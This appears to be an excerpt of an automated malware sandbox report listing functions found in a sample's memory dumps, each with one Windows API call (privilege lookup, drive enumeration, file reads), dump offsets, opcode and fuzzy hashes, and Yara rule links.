Function 004DA8B4, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E9C,?,?), ref: 004DA94A

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: 6a981d497583c0bded401d30750d05f0109958253ac5df2777858d52d916cfb7
Instruction ID: 9ea97d45698319bd85b76967476eff38ee8a5186091e1ed9b70e7efaba5b0a1b
Opcode Fuzzy Hash: 6a981d497583c0bded401d30750d05f0109958253ac5df2777858d52d916cfb7
Instruction Fuzzy Hash: 9321AA7550D780AFD3138B25DC51B62BFB4EF87710F0981DBE8448B553D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 00740D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 00740DD6

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 6f5ed374c1568272dc7dc61a68843c2f51c883d9810c1a365a8f2292c1f42690
Instruction ID: ceb1f4537e7be1e63b9c5c715d0676eed591121d8f5abaae11f5f3c832bdafd1
Opcode Fuzzy Hash: 6f5ed374c1568272dc7dc61a68843c2f51c883d9810c1a365a8f2292c1f42690
Instruction Fuzzy Hash: AD218171A04340AFF720DF65DC85B66FBD8EF04750F14846AE948DB282D779F904CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004DBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DBDBC

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ea3897f1939de6ce49c150ff8b8938e40f6a31c4ad0386bc407ef0b7b2898253
Instruction ID: c771b13c68e47933bf9abe2da48e2b5df9e95e16dc70bab24bc56d0b769582e2
Opcode Fuzzy Hash: ea3897f1939de6ce49c150ff8b8938e40f6a31c4ad0386bc407ef0b7b2898253
Instruction Fuzzy Hash: F3119D72500704EFEB21CF51DC85FAAFBACEF04720F14856BFA45DA641D674A9048BB5

Uniqueness

Uniqueness Score: -1.00%

Function 004DB04A, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DB0AE

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 28231fd62a407f1ec39fb4c9b7af33ad922c9314b9e57b94f70827cd4bee49f6
Instruction ID: 8a34fc9be96896a2f0efe9e91f5179eff64b7c0802c3f71e8fc947e7b9150c2a
Opcode Fuzzy Hash: 28231fd62a407f1ec39fb4c9b7af33ad922c9314b9e57b94f70827cd4bee49f6
Instruction Fuzzy Hash: 6B117C75600300EFEB21DF55DC85FABBBA8EF44760F14846BE909CB241D774E9048AA5

Uniqueness

Uniqueness Score: -1.00%

Function 0074137E, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 007413F0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: d7a72d77bdca769ac2086b0ebd26b1d714dc8c402a3176eae53de5269a95b3ca
Instruction ID: 2c7697f61f3be48df360fb91874ded8160cc042d8978434a686afa38b8c282f0
Opcode Fuzzy Hash: d7a72d77bdca769ac2086b0ebd26b1d714dc8c402a3176eae53de5269a95b3ca
Instruction Fuzzy Hash: 4E219F765083809FEB21CF25DC45A96FFB4EF16320F0884AEED858B562D235A848DB61

Uniqueness

Uniqueness Score: -1.00%

Function 00740F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 00740FB0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 189e7fe5a42f9a19988d7d07390d8b3480d0001b089c7ef5d8b2e7d8a59d94d1
Instruction ID: d6acf43c3dd0c78a809ae87466d5084b9d6d3519917a5c4f435f60a882a79907
Opcode Fuzzy Hash: 189e7fe5a42f9a19988d7d07390d8b3480d0001b089c7ef5d8b2e7d8a59d94d1
Instruction Fuzzy Hash: 3D219F7150D3C09FDB12CB25CC55B92BFB4AF13224F0C84EAD988CF653D2689808C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 004DAAAB, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 004DAB1A

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 4036aa09247ee3893118ae7c2743f69a8cbe7174302c5dc3a9794267edbbedaa
Instruction ID: 49115a54a1fcacf1ba3a19a4a1712b20faea9b0534be76739b9919e9518f5d26
Opcode Fuzzy Hash: 4036aa09247ee3893118ae7c2743f69a8cbe7174302c5dc3a9794267edbbedaa
Instruction Fuzzy Hash: 0F2172716053809FD721CF25DC55B53BFA8EF56610F0884ABED49CB352D275E814CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004DBABE, Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 004DBB2F

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 896fb0a3d0530ea7fe8732a1e62f43a2bfb46b465d756c2100b9d1d6bb5c0ea2
Instruction ID: 6d1cd4d733b9a75d3720f9fc4806ec6f41a9ec2921a1806ac0174c67127c9352
Opcode Fuzzy Hash: 896fb0a3d0530ea7fe8732a1e62f43a2bfb46b465d756c2100b9d1d6bb5c0ea2
Instruction Fuzzy Hash: 4421A4755093C09FEB128F25DC55A92BFA4EF07320F0984DBDD858F263D274A908DB61

Uniqueness

Uniqueness Score: -1.00%

Function 007410D4, Relevance: 1.6, APIs: 1, Instructions: 65threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 00741148

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: e12631e69297cd9f6538cdfacfa915f377bc5bdde1c60dd32112a392b46eb745
Instruction ID: 98e56901d3407d234ae3113c5b517ad347a452b14760f97bab33fca072c12ca8
Opcode Fuzzy Hash: e12631e69297cd9f6538cdfacfa915f377bc5bdde1c60dd32112a392b46eb745
Instruction Fuzzy Hash: 32219D6140D3C49FE7138B258C54A62BFB4EF57720F0980CBD9858F2A3D2696808C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 004DAF62, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 004DAFBE

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 815d3324aca7a0dc193e8a587a11824c3a5a5c07a38f77440e5027839a2c9c54
Instruction ID: dab5fa3d5f5ab65472f94c99b71491624436c4a7967beba451bbd41a525e4bfe
Opcode Fuzzy Hash: 815d3324aca7a0dc193e8a587a11824c3a5a5c07a38f77440e5027839a2c9c54
Instruction Fuzzy Hash: 0311B272500700EFEB21DF55DC45BA7FBA8EF44720F14846BE9058A241D674A9048BB6

Uniqueness

Uniqueness Score: -1.00%

Function 004DBA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 004DBA7E

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0af3dd5662e425a9d46c66f0ae372db93d863134d24c27e6134ace23c4c8b7b4
Instruction ID: 214eaa16567be7738ffc2ecbe03d30801956f3cb661e379f095939c74375ed75
Opcode Fuzzy Hash: 0af3dd5662e425a9d46c66f0ae372db93d863134d24c27e6134ace23c4c8b7b4
Instruction Fuzzy Hash: 5C119071504380AFDB21CF65CC45B52FFF4EF15210F09849EE9898B662D375E818CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00740886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 007408E5

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: acbc031d4be3ae2d32cdb9e167a6a14633e99973473e957d4a09e1ee02dc7b29
Instruction ID: 92efc268742796264ca66dfaf1b8d4dac9bfeaa8215e13c22e2308a7c51a1dcc
Opcode Fuzzy Hash: acbc031d4be3ae2d32cdb9e167a6a14633e99973473e957d4a09e1ee02dc7b29
Instruction Fuzzy Hash: E811CE72500300EFFB21CF51DC85FA6FBA8EF54720F14896AEE499A242C775A9048BB1

Uniqueness

Uniqueness Score: -1.00%

Function 004DA33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 004DA39C

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b3bbbcb4075ea5671386c2935fec9aa5bfc22ccd5ea95197925660b8a5a3fe0e
Instruction ID: 2ba52976ca3b9299bf0b1318ced91f64ff8528b4c8a56a867d4507984aa37ad4
Opcode Fuzzy Hash: b3bbbcb4075ea5671386c2935fec9aa5bfc22ccd5ea95197925660b8a5a3fe0e
Instruction Fuzzy Hash: 67118F715093C09FE7228B15DC54A62BFB4DF47624F0880CBEDC54F253D265A818DB62

Uniqueness

Uniqueness Score: -1.00%

Function 007412D8, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0074132F

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: bf79b72f645ec38ad947f489927af2aa5f435dea4b0630a0ceb21b83481f5efd
Instruction ID: 7e2fef89f84f29f99a291a7d580bd9884bddf15bd0f099942d3eb15e7f1c3ec6
Opcode Fuzzy Hash: bf79b72f645ec38ad947f489927af2aa5f435dea4b0630a0ceb21b83481f5efd
Instruction Fuzzy Hash: F611C1715083809FDB218F25DC45B96FFA4EF06220F0984EEED458B252D279A808CB61

Uniqueness

Uniqueness Score: -1.00%

Function 007405E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 00740640

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: c5fb5c85a5617828651285cc9c8d3efd28ee4efa1e18c4253080eb01ae70ac93
Instruction ID: 11845fdc0b9fde383bfe3e24df70e68f2f9cb98ab152e0f9a0ac6f55ce172629
Opcode Fuzzy Hash: c5fb5c85a5617828651285cc9c8d3efd28ee4efa1e18c4253080eb01ae70ac93
Instruction Fuzzy Hash: F211C6755093C09FD7128B15DC55B52FFB4DF52220F0980DFED858B653D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DAAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 004DAB1A

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 60b5dfb35c7b62390823b49fee1d390240b1f3a1b588bdbe92c3df8eefa4fbcc
Instruction ID: 931c6ef0cca95b21bbba75a1a69e388f13270681427ad06a231286b57e24343b
Opcode Fuzzy Hash: 60b5dfb35c7b62390823b49fee1d390240b1f3a1b588bdbe92c3df8eefa4fbcc
Instruction Fuzzy Hash: 14118EB16003008FEB20CF25DC85B56FBD8EB14721F08C46BEE09CB341D674E815CA66

Uniqueness

Uniqueness Score: -1.00%

Function 004DAA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 004DAA71

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 7ad916004aa729e2ec3f60b1a14f8bc8274cfe186376a151a23f98b53e5ad475
Instruction ID: 887174e748c6dcb43b1f3157c415209e6c3bafee2d7fa5e819299872ae9fc5b9
Opcode Fuzzy Hash: 7ad916004aa729e2ec3f60b1a14f8bc8274cfe186376a151a23f98b53e5ad475
Instruction Fuzzy Hash: DB11C1754097C09FE7128B11DC85A92BFA4EF13320F0980DBDD858F263D268A909C762

Uniqueness

Uniqueness Score: -1.00%

Function 0074092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0074099C

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 01e05e515a2791f826e266986a578b4df13e1701354fbaa48c9d846dacd89291
Instruction ID: ba3ce7986c3c619a26fe36bc3b9f0f6b19f21d239a7d96bd951597bbe45d7c62
Opcode Fuzzy Hash: 01e05e515a2791f826e266986a578b4df13e1701354fbaa48c9d846dacd89291
Instruction Fuzzy Hash: F7119D759093C09FE7228B25DC55B92BFB4EF07324F0980DAD9844B263C275A908CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 007407C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,016FD236,00000000,00000000,00000000,00000000), ref: 00740819

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ade11afe79ec2c47664e64a157af735f278693e314d9eed5d486acb10f8fa21e
Instruction ID: e1d2373c246275cdc778406e2a17a68f29171423a129a0b57234ab8884ede532
Opcode Fuzzy Hash: ade11afe79ec2c47664e64a157af735f278693e314d9eed5d486acb10f8fa21e
Instruction Fuzzy Hash: E2018C75500744EFFB209F15DD85BA6FB9CEF44721F14C0AAEE099A281D678A9048AE2

Uniqueness

Uniqueness Score: -1.00%

Function 007413AA, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 007413F0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: 210024f37e9708bebec17d699cd83eeb9cd0ebd59b6945b49c83e408600e18f1
Instruction ID: 735e3d39a39ac9da76f0d98a10d6153878592ef61b66e355ab1e15f697ccfbb9
Opcode Fuzzy Hash: 210024f37e9708bebec17d699cd83eeb9cd0ebd59b6945b49c83e408600e18f1
Instruction Fuzzy Hash: 8711AC75600740DBEB20DF56DC85B66FBA4EB14720F0884AADD098A611D375E844DA61

Uniqueness

Uniqueness Score: -1.00%

Function 004DAB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 004DABC9

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 59017d0dcab68483198a8fadf888752b3ead87f51c8eecc579aa9ffc14673046
Instruction ID: 2eecf8d745196e3ccf727fcb92f7c9fc01ee337157e18e31cb2de51a7711afd2
Opcode Fuzzy Hash: 59017d0dcab68483198a8fadf888752b3ead87f51c8eecc579aa9ffc14673046
Instruction Fuzzy Hash: F211C2B55093809FDB11CF55DC85B82BFA4EF12320F0980ABDD488F253D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 004DBA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?,?), ref: 004DBA7E

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a1de54741a7caf09768b5841beb85a68f94665131bb5911b335925340e9cda98
Instruction ID: f70190f9a838b2af645acf3825929d40c8065c8cc60bf860cb892172d779004e
Opcode Fuzzy Hash: a1de54741a7caf09768b5841beb85a68f94665131bb5911b335925340e9cda98
Instruction Fuzzy Hash: 7B115A72500700DFEB20CF95D845B52FBE4EB14720F0884ABDE498A712D375E414DBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004DA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 004DA23E

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 5f5795468075ff23a1b88e19f987b613966b86394348e17bd50193dae42b4cd4
Instruction ID: 67b0b6227d962532a8f7bfb89c73c7e3a1dd641322d30835d0f027c946f47e8c
Opcode Fuzzy Hash: 5f5795468075ff23a1b88e19f987b613966b86394348e17bd50193dae42b4cd4
Instruction Fuzzy Hash: 5B018471900700AFE310DF16DC46B66FBA8FB84A20F14816AED089B741D275F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0074104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0074109E

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: b3a3062bbc24f04367da7ea2a514f1db78ad5b61b71d25ff354b168180467dfa
Instruction ID: b224c7e6964416c450ea3e1dcaead65a1d33733f6234177075c81b8bf9a7b89c
Opcode Fuzzy Hash: b3a3062bbc24f04367da7ea2a514f1db78ad5b61b71d25ff354b168180467dfa
Instruction Fuzzy Hash: 90017171900600ABE350DF16DC46B66FBA8FB84A20F14816AED099B741D275F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00740196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 007401D0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 0f73d1d608c769c9676eeb929e30a6a2a57eba17b3698cff7328ab440f65bf63
Instruction ID: b57c029d0aada3d161ea3942bb024df49091a3340e535a0b6fffbb5b3c5d932f
Opcode Fuzzy Hash: 0f73d1d608c769c9676eeb929e30a6a2a57eba17b3698cff7328ab440f65bf63
Instruction Fuzzy Hash: 89019271600344CFEB10DF65DC85766FB98EB00721F18C4AADE09CB641D778E804CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 004DBAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 004DBB2F

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: a9d6978b0b65b942dc742e07095e082a0b2fb8194ea8340bafc5bec6a92505b2
Instruction ID: 1dc9c818cf9434a9ed75d7c918a37d86c12b6d8883e2259b95a50fce29d47ab6
Opcode Fuzzy Hash: a9d6978b0b65b942dc742e07095e082a0b2fb8194ea8340bafc5bec6a92505b2
Instruction Fuzzy Hash: 5801BC75900240DFEB208F15DC857A6FBA4EF04720F08C4ABDD098B756D379E804CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 007412FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0074132F

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: 86e3d6aecfca4eaa68d80b469b59cfc82a151db9c3481c8111d68abbeba0735a
Instruction ID: a492e701f2cd13f3a8f8b2d7cce171f8c55ce44fee9a31fd960e85d2407dd6ef
Opcode Fuzzy Hash: 86e3d6aecfca4eaa68d80b469b59cfc82a151db9c3481c8111d68abbeba0735a
Instruction Fuzzy Hash: E901DF75900340DFEB20DF15DC857A5FBA4EF04720F48C4AADD098B642D379E844CB61

Uniqueness

Uniqueness Score: -1.00%

Function 004DA8FA, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

VerLanguageNameW.KERNELBASE(?,00000E9C,?,?), ref: 004DA94A

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: LanguageName
String ID:
API String ID: 2060303382-0
Opcode ID: d9fb2bcc364d8ba38a4fd62756025adc18b413ee4ef9357f9b1607a5a74815d2
Instruction ID: b67185f721ce65e0585f6a8b676186188bdc7520fe772b5ea42f8d2ba70998df
Opcode Fuzzy Hash: d9fb2bcc364d8ba38a4fd62756025adc18b413ee4ef9357f9b1607a5a74815d2
Instruction Fuzzy Hash: 44016271940601ABE350DF16DC46B26FBA8FB88B20F14815AED085BB41D275F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 00740F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 00740FB0

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: a9523f76f27e7da21cb349014b7f7da9be41fd5eab60f76c6eaea41434c64f38
Instruction ID: 2bb9ab2dc25abe85b9471d352b402d2c00822ddc4ca9b5b10cf4746c4866d1f1
Opcode Fuzzy Hash: a9523f76f27e7da21cb349014b7f7da9be41fd5eab60f76c6eaea41434c64f38
Instruction Fuzzy Hash: 26017C71504340DFEB20DF55D885B66FB94EB14721F18C4AADE098F246E378E808CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 007404B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 00740502

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 9877952dae7124e05d494312d1029eabae69857d0fe6dc891b85aa4acb259331
Instruction ID: ba2a6d7f6e0cfe70f33f86d76579b04916f32a970610e9e6299f0c3e7b5d5ceb
Opcode Fuzzy Hash: 9877952dae7124e05d494312d1029eabae69857d0fe6dc891b85aa4acb259331
Instruction Fuzzy Hash: E9016271940601ABE350DF16DC46B26FBA8FB88B20F14815AED085BB41D275F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0074060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 00740640

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 36f2e7d9ac39d0fcdcb623be12158174d98ad6daf6b577fec87f362cb82b7412
Instruction ID: 51afc90ef9d74430ab5ce8434d3e727251fb80e74b450ae577dea3611b2b1a2b
Opcode Fuzzy Hash: 36f2e7d9ac39d0fcdcb623be12158174d98ad6daf6b577fec87f362cb82b7412
Instruction Fuzzy Hash: F801F435600740CFEB208F15DC85761FBA4EF41721F08C0AEDE0A8B752D378E814DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 004DAB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 004DABC9

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 5d065ff1847da5707de1414ab24e04964c0a52542aed637296fb7f30c4787ef2
Instruction ID: 75745703ffab7c13800bacc506aaa308f8775b8ddd6daa6b17bc4deccbd48a2e
Opcode Fuzzy Hash: 5d065ff1847da5707de1414ab24e04964c0a52542aed637296fb7f30c4787ef2
Instruction Fuzzy Hash: C401A931504340CFEB10DF56D889BA2FBA4EB00621F58C0ABCE098F302D279A805CAA6

Uniqueness

Uniqueness Score: -1.00%

Function 00741116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 00741148

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: 4abc0a4427b60a8d9d82cd7592f5752998548631c480f80124ea00fa5ea02f8a
Instruction ID: bf8b2ad69d795a5b8ae051085b58b2da51dbada032e337825d16dfbe39d29918
Opcode Fuzzy Hash: 4abc0a4427b60a8d9d82cd7592f5752998548631c480f80124ea00fa5ea02f8a
Instruction Fuzzy Hash: 24F0AF35500744DFEB20DF05DC86765FBA4EF05B21F58C09ADE494B312D779A884DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 004DA36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 004DA39C

Memory Dump Source

Source File: 00000006.00000002.2124051534.00000000004DA000.00000040.00000001.sdmp, Offset: 004DA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: ad94e5e2f327551e7fd2b2b929a63e3b31d1c9e521fe5418a49275e25802e208
Instruction ID: 778cb54f3dba55e7d45293f293726c0f962fb11d229cef7c3514a825da0edf73
Opcode Fuzzy Hash: ad94e5e2f327551e7fd2b2b929a63e3b31d1c9e521fe5418a49275e25802e208
Instruction Fuzzy Hash: CCF08735904740DFEB209F06D889766FBA1EB05721F18C09BDD094B712D3B9A828DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0074096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0074099C

Memory Dump Source

Source File: 00000006.00000002.2124747240.0000000000740000.00000040.00000001.sdmp, Offset: 00740000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 9a5148910bf4a6d2b0961c23277dff0d2da1cc31c3e79b6114d10d403ecc68ac
Instruction ID: 20d1fd32bb78a62705372c6b9da615fe4619dd1895f17c8c099bfccee6bd255e
Opcode Fuzzy Hash: 9a5148910bf4a6d2b0961c23277dff0d2da1cc31c3e79b6114d10d403ecc68ac
Instruction Fuzzy Hash: FAF0A935904740DFEB209F16D889766FBA4EF05721F18C09ADE494B316D3B9B808DAA2

Uniqueness

Uniqueness Score: -1.00%

Function 004DAA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

